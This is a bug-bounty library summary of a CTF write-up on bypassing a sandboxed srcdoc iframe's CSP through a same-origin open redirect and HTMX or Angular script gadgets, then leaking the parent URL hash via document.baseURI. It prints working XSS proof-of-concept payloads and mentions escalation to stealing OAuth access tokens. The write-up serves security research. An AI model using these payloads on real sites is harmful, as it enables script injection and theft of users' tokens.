# Sandbox-iframe XSS challenge solution

Sandboxed srcdoc iframe with strict CSP bypassed via open-redirect CSP path relaxation and HTMX gadget, leaking parent URL hash via document.baseURI.

- Payout: Research
- Severity: medium
- Program: sandbox-iframe-ctf
- Write-up by: Johan Carlsson
- Disclosed: 2024-05-16
- Write-up quality: 7/10
- Original: https://joaxcar.com/blog/2024/05/16/sandbox-iframe-xss-challenge-solution/
- Library page: https://bugbountylibrary.com/r/blog%3Ajoaxcar-com-blog-2024-05-16-sandbox-iframe-xss-challenge-solution
- Tags: area:web domain:web impact:data-leak kind:research platform:research sev:medium tech:cdn technique:chained technique:source-review vuln:open-redirect vuln:xss

**Target:** Sandboxed srcdoc iframe with CSP and open redirect endpoint
**Root cause:** CSP path restrictions are not enforced after a redirect, so an allowed same-origin open redirect can load any script from the redirect target's base domain. The srcdoc iframe inherits the parent CSP and its about:srcdoc base URL resolves to the top document's URL including the hash.
**Steps:**
1. Inject base64-encoded HTML into the `xss` parameter, rendered inside a sandboxed srcdoc iframe with `allow-scripts allow-modals` but no `allow-same-origin`.
2. Bypass CSP `script-src 'self'` by loading a script through the same-origin open redirect: `<script src="/redirect?url=https://cdnjs.cloudflare.com/ajax/libs/htmx/1.9.12/htmx.min.js"></script>`.
3. Use HTMX as an execution gadget: `<img src=x hx-on:error="alert(1)">`.
4. Read the parent URL hash from inside the sandbox via `document.baseURI`, which resolves to the top document's URL including the fragment.
5. Exfiltrate: `<img src=x hx-on:error="alert(document.baseURI.split('#')[1])">`.
**How found:** Noticed the challenge provided an open redirect allowed by 'self' and a CDN dependency loaded with a full path, hinting at CSP redirect path relaxation. Then observed that fetch("") from the sandboxed iframe resolved against the parent URL, leading to document.baseURI as a hash-leaking primitive.
**Exploitation:** Attacker controls HTML in a base64 param rendered in a sandboxed srcdoc iframe. CSP path restriction is bypassed by routing a script load through an allowed same-origin open redirect to a CDN, loading HTMX as a gadget to execute JS. The sandboxed iframe's about:srcdoc base URL resolves to the top document URL, so document.baseURI exposes the parent hash containing the flag/token.
**Escalation:** Combining with OAuth 'dirty dancing' to leak hash-based access tokens in HTML-builder sites.
**Insight:** CSP path-scoped source expressions are only enforced on the initial request; after a redirect only the base domain is checked. Any same-origin open redirect therefore lets you load arbitrary scripts from the redirect target's domain. Also, about:srcdoc iframes resolve relative URLs (and document.baseURI) against the top document, leaking the parent URL including the fragment even without allow-same-origin.

## Proof of concept (copied exactly from the original report)

**Full HTMX payload leaking hash via baseURI**

```
<script src="/redirect?url=https://cdnjs.cloudflare.com/ajax/libs/htmx/1.9.12/htmx.min.js"></script>
<img src=x hx-on:error="alert(document.baseURI.split('#')[1])">
```

**Angular ng-csp gadget payload**

```
<script src="/redirect?url=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.min.js"></script>
<div ng-app ng-csp>{{$on.constructor('alert(1)')()}}</div>
```

